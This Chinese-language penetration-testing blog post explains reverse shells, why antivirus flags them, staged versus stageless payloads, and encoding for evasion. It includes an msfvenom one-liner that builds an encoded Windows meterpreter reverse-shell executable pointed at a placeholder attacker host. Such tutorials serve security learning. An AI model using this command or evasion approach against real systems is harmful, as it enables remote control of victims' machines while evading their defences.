當我們在滲透測試中使用「反向 Shell(Reverse Shell)」時,我們讓目標系統主動連接到我們的攻擊機器。
在連接成功後,我們就可以通過這條連接「遠程控制目標系統」,執行各種操作,比如輸入命令、查看文件等。
還記得我們在上一篇有講到 Reverse Shell
的流程嗎?
過程是這樣的~
攻擊者設置好一個「監聽器」(Listener
),等待目標系統的連接。
當 Payload
被觸發時,目標系統會發起連接,並打開一個命令行會話給攻擊者。
攻擊者可以藉此來控制目標系統,來執行攻擊。
Reverse Shell
的行為經常會被防毒軟體或防火牆攔截,可能的原因如下:
通常情況下,目標系統的網絡連接是由內部發起請求到外部服務器(比如訪問網頁),但 Reverse Shell
是從內部系統主動連接到攻擊者的機器,這種異常的網絡行為會被防毒軟體和防火牆標記為可疑。
Reverse Shell
通常使用的端口(如 TCP
4444)若為非常用端口,這也會引起防毒軟體的警覺,從而阻止連接。
當然,除此之外,防毒軟體會根據「已知的惡意行為模式來偵測威脅」,而 Reverse Shell
的行為類似於許多已知的攻擊手法,因此很容易被標記為惡意行為。
Payload
是滲透測試中的一個核心概念!
當你找到一個漏洞時,「Payload
就是你用來利用這個漏洞來達成目標的代碼或指令」。
在使用 Reverse Shell
時,Payload
是負責在目標系統上打開 Shell
會話並回傳控制權到攻擊者的工具。
當攻擊者利用漏洞時,Payload
會被注入並執行。
Reverse Shell Payload
的目的是讓目標系統與攻擊者的機器建立連接,這樣攻擊者可以遠程控制系統。
聽起來是不是有點像是我們之前在目標主機上面執行的指令啊 XD
在 Payload
中,通常會裝著我們想要目標主機幹嘛的指令 ~
若裡面的內容被防毒軟體看到他的惡意行為... 當然會被擋下來啊XD 當防毒軟體瞎子喔 ><
筆者 say say 念:
Payload
的行為往往涉及到修改系統文件、建立網絡連接、啟動Shell
會話等,這些行為在防毒軟體看來就是惡意的。
因此,
Payload
很容易被防毒軟體攔截和阻止。
還記得我們之前有提過如何繞過嗎?
其中一個支線就是「加密和混淆」XD
在滲透測試中,有一個好棒棒工具叫做「MSFvenom
」~
MSFvenom
是 Metasploit
框架中的一個強大工具,用於生成各種 Payload
~
附上 Metasploit
的 Logo
~
使用它,我們可以對 Payload
進行加密或編碼!
它可以有效地避免防毒軟體基於特徵碼(signature-based detection
)的檢測,並且可以讓你的 Payload
在防毒軟體掃描時更難被識別。
稍微給大家看一下 MSFvenom
指令的範例,筆者會在之後的文章給大家做解釋:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/shikata_ga_nai -i 3 -f exe > payload.exe
細心的讀者應該有看到 x86/shikata_ga_nai
吧~
它其實就是「編碼器」,用來對 Payload
進行多次編碼,讓它更難被檢測!
筆者 say say 念:
如果有興趣,讀者可以參考一下 Metasploit
的官網聞香一下 XD
筆者會在之後的文章提供給讀者一些使用的參考~
Payload
大致可以分成兩種類型:Staged Payload 和 Stageless Payload。
特點:Payload
被分成幾個階段來傳送。首先傳送一個小的初始階段(stage
),該階段會在目標系統上建立連接,然後再下載完整的 Payload
來執行。
優點:
由於初期傳輸的數據量較小,它可以幫助繞過一些網絡防禦機制(如防火牆)。
缺點:
多階段傳輸可能會因網絡延遲或不穩定而導致攻擊失敗。
特點:
一次性將完整的 Payload 傳送到目標系統,而不需要分階段傳輸。
優點:
適合網絡帶寬有限或高延遲環境,因為它只需要一次傳輸。
缺點:
一次性傳送大量數據可能更容易觸發防火牆或防毒軟體的警告。
在之後的教學中,筆者也會帶大家使用 Msfvenom
搞一個 Stageless Payload
XD
今天一整天都泡在解不出 hackthebox 的漩渦之中XDDD
雖然最後還是卡住了,但秉持 Try harder 的精神,我是不會放棄的!
除此之外,還要還之前書的債XDD真的是太狠啦!
不過也因為這樣進步超級多(笑鼠)
很感謝依然持續進步的自己!很充實
https://academy.hackthebox.com/